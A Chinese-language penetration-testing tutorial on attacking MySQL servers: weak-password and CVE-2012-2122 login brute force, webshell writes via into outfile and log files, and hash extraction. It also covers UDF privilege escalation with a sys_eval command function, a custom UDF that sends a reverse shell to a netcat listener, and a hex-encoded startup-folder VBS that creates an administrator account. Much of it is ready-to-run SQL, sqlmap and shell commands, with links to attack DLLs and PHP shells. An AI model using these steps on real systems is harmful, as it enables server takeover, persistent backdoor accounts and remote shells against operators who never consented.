MYSQL 漏洞利用与提权
权限提升
获取数据库操作权限
- MySQL 3306 端口弱口令爆破
- sqlmap 注入的
--sql-shell
模式 - 网站的数据库配置文件中拿到明文密码信息
CVE-2012-2122
等这类漏洞直接拿下 MySQL 权限
CVE-2012-2122 简单的讲就是 当一个正确的用户名多次输入错误的密码会有几率可以直接成功登陆进数据库。
获取webshell权限
into outfile 写 shell
- 知道网站物理路径
- 高权限数据库用户
load_file ()
开启 即secure_file_priv
无限制- mysql对网站路径有写入权限
首先基础语法查询是否 secure_file_priv
没有限制
1 | mysql> show variables like "secure_file_priv"; |
value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制导出的目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:
1 | select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php'; |
sqlmap 中可以如下操作:
1 | sqlmap -u "http://x.x.x.x/?id=1" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/shell.php" |
一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。
日志写 shell
- Web 文件夹宽松权限可以写入
- 一般在Windows系统下可以使用(权限管控不严格)
- 高权限运行 MySQL
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
1 | mysql> show variables like "%general_log%"; |
general_log
默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell
:
1 | # 更改日志文件位置 |
这里虽然可以成功写入,但是这个 x1ong.php
是 MySQL 创建的 :
1 | -rw-rw---- 1 mysql mysql 408 7 25 10:14 x1ong.php |
我们访问这个 php 文件会出现 HTTP 500 的状态码,原因是:apache运行的用户对该文件没有 read
权限。结论是 Linux 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。
慢查询写 shell
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
一般都是通过long_query_time
选项来设置这个时间值,时间以秒为单位,可以精确到微秒。
如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中
1 | mysql> show global variables like '%long_query_time%'; |
通常情况下执行sql
语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉
1 | # 开启慢查询日志 |
这里虽然也可以成功写入,但是这个 x1ong.php
是 MySQL 创建的 :
1 | -rw-r----- 1 mysql mysql 409 7月 25 10:26 x1ong.php |
我们访问这个 php 文件会出现 HTTP 500 的状态码,原理同日志写shell一样。
hash获取与解密
假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解密:
1 | # MySQL <= 5.6 版本 |
获取到的 MySQL Hash 值可以通过一些在线网站来解密,如国内的 CMD5 :
或 somd5
CVE-2012-2122
漏洞简介:当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。按照公告说法大约256次就能够蒙对一次。
受影响的产品:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
漏洞危害:只要知道用户名,不断尝试就能够直接登入SQL数据库。
环境搭建基于docker:
1 | # 拉取镜像 |
漏洞验证:基于shell脚本
1 | for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P13306 ; done |
具体参考:https://www.cnblogs.com/zhuxr/p/9553541.html
UDF提权
UDF 介绍
UDF 即 User Defined Function
即用户自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version ()
那么方便,本提权仅适用与 Mysql 5.5.9
以下版本,超出该版本无法利用成功。
该方法主要是让原本不支持执行命令的mysql有了执行命令的函数(功能)。
案例演示场景
一台 Windows Server 2008 R2服务器安装 phpstudy 软件。并且网站存在 phpmyadmin 程序,且使用了 phpstudy 默认的数据库密码。即用户名root,密码root,我们成功登录到数据库。
通过信息收集发现:
1. 服务器的mysql开启了 secure_file_priv 允许用户导出文件到任意目录。 1. 但是由于这里并没有使用phpstudy默认的网站根目录,服务器不存在phpinfo页面以及PHP报错页面,我们无法通过 into outfile 写入木马到网站根目录当中。
手动复现
动态链接库
如果是 MySQL >= 5.1
的版本,必须把 UDF 的动态链接库文件放置于 MySQL
安装目录下的 lib\plugin
文件夹下文件夹下才能创建自定义函数。
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap
和 Metasploit
里面都自带了对应系统的动态链接库文件。
sqlmap 的 UDF 动态链接库文件位置
sqlmap根目录/data/udf/mysql
这里以 kali linux
为例:
1 | ┌──(root💀kali)-[~] |
不过 sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap
自带的解码工具 cloak.py
来解码使用,cloak.py
的位置为:sqlmap安装位置/extra/cloak/cloak.py
,解码方法如下:
1 | ┌──(root💀kali)-[/usr/share/sqlmap/extra/cloak] |
这里已经解码打包至蓝奏云网盘:https://x1ong.lanzouq.com/igUax13g7maf
metasploit 的 UDF 动态链接库文件位置:(基于kali)
1 | /usr/share/metasploit-framework/data/exploits/mysql |
Metasploit
自带的动态链接库文件无需解码,开箱即可食用。不管是 sqlmap
或者是 Metasploit
的其内容都是一模一样的。
寻找插件目录
接下来的任务是把 UDF
的动态链接库文件放到 MySQL
的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL
语句来查询:
1 | mysql> show variables like "plugin_dir"; |
如果以上目录不存在的话可以在 webshell
中找到 MySQL 的安装目录然后手工创建 plugin
文件夹。
写入动态链接库
写入动态链接库可以分为下面几种情形:
直接通过sqlmap写入
SQL 注入且是高权限,plugin
目录可写且需要 secure_file_priv
无限制,MySQL
插件目录可以被 MySQL
用户写入,这个时候就可以直接使用 sqlmap
来上传动态链接库,又因为 GET
有字节长度限制,所以往往 POST
注入才可以执行这种攻击:
以下案例演示与POST型的SQL注入:
1 | sqlmap -u "http://172.20.10.5/sql/Less-1/" --data="id=1" \ |
执行sql语句写入
将动态链接库文件先在本地进行十六进制编码,接着将编码的内容导出至udf.txt
文件中(需要有secure_file_priv
权限)
1 | mysql> select hex(load_file('C:\lib_mysqludf_sys_32.dll')) into dumpfile C:\udf.txt"; |
注意:这里必须使用dumpfile,由于outfile导出的末行有换行符,导致内容跟原文件内容存在差异
这一步我们得到 lib_mysqludf_sys_32.dll
文件的十六进制内容。
接着在mysql命令行执行:
1 | selext 0x4D5A90000300000004000000FFFF..... into dumpfile "C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll" |
这里国光大佬写了一个页面,我们只需要导出的路径即可:https://www.sqlsec.com/udf/
在 phpmyadmin
执行 sql
命令写入 dll
文件:
使用 load_file()
函数查看该文件,如果返回该文件的内容证明写入成功:
可以看到这里内容大小为6.5KB,说明写入成功。
创建函数并调用命令
首先查看 mysql
的用户自定义函数,发现并无任何函数:
1 | mysql> select * from mysql.func; |
这里执行如下命令创建函数 sys_eval
:
1 | mysql> create function sys_eval returns string soname 'udf.dll'; |
再次查看 mysql
的用户自定义函数:
1 | mysql> select * from mysql.func; |
发现存在 sys_eval
函数,该函数可以调用系统命令。
1 | mysql> select sys_eval("whoami"); |
至此 我们就可以通过 mysql
去执行系统命令,具体获取的权限取决于运行 mysql
程序的用户。
删除自定义函数
1 | mysql > drop function sys_eval; |
msf 相关模块利用
利用条件:mysql
允许远程登录
利用失败原因:服务器没有 plugin
目录
利用成功案例:
此时数据库中就存在 sys_exec()
函数
使用 sys_exec()
函数调用系统命令,但是该函数随回执行命令,但是并不回返回命令的执行结果,只会返回执行的状态。成功返回0
,执行失败返回1
。
这里我们使用如下命令创建有命令执行回显的sys_eval
函数
1 | mysql> create function sys_eval returns string soname 'xExYzgAg.dll'; |
接着查看,发现已经创建了sys_eval
函数,直接利用即可。
UDF shell
假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了。
https://github.com/echohun/tools/blob/master/%E5%A4%A7%E9%A9%AC/udf.php
简单方便,将该PHP脚本上传至网站目录,一键 DUMP UDF 和函数,操作门槛降低了很多:
Navicat MySQL
目标 MySQL 不允许外连,但是可以上传 PHP 脚本:
这个时候可以使用 Navicat 自带的 tunnel
隧道脚本上传到目标网站上
然后去访问,测试登录:
接着使用 Navicat
连接的时候设置 HTTP 通道:
这个时候主机地址填写 localhost
其他信息直接填写你要连接mysql的用户名和密码即可:
连接成功后自然就可以愉快地进行手工 UDF 提权啦:
反弹shell提权
实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些:
1 | cmdshell # 执行cmd |
这个动态链接库有点历史了,不过还是被找到了蓝奏云:langouster_udf.zip
通过将 langouster_udf.php
文件上传至对方服务器,然后通过该文件登录到对方 mysql
中执行 mysql
指令。
将 udf.dll
文件放置对方的 plugin
目录下:
1 | select 0x4D5A4B45524E454C33322E444C4... into dumpfile "C:/phpStudy/PHPTutorial/MySQL/lib/plugin/udf.dll" |
下面尝试来使用这个 dll
来反弹 shell
试试看吧,首先在 172.20.10.2
上开启 NC 监听:
1 | ➜ ~ nc -lvvp 2333 |
创建对应函数:
1 | create function backshell returns string soname 'udf.dll'; |
查看函数是否创建:
发现创建成功。直接反弹 shell :
1 | select backshell("172.20.10.2", 2333); |
成功上线:
启动项提权
这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
手动复现
启动项路径
Windows Server 2003 的启动项路径:
1 | # 中文系统 |
Windows Server 2008 的启动项路径:
1 | C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
既然知道路径的话就往启动项路径里面写入脚本吧,脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的。下面是一个执行基础命令的 VB 脚本:
1 | Set WshShell=WScript.CreateObject("WScript.Shell") |
MySQL 写入启动项目
将上述 vbs 或者 CS 的马转十六进制直接写如到系统启动项中:
1 | select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\system.vbs"; |
写入成功的时候就等待系统用户重新登录,登录成功的话,我们的自定义脚本也就会被执行。
MSF 启动项提权
目标系统为 Windows
的情况下可以直接使用该模块来上线 MSF,但是使用条件是 需要允许 mysql
外连。
此时使用 exploit/multi/handler
模块进行监听:
等待服务器重启或注销重新登录即可获取到一个webshell
。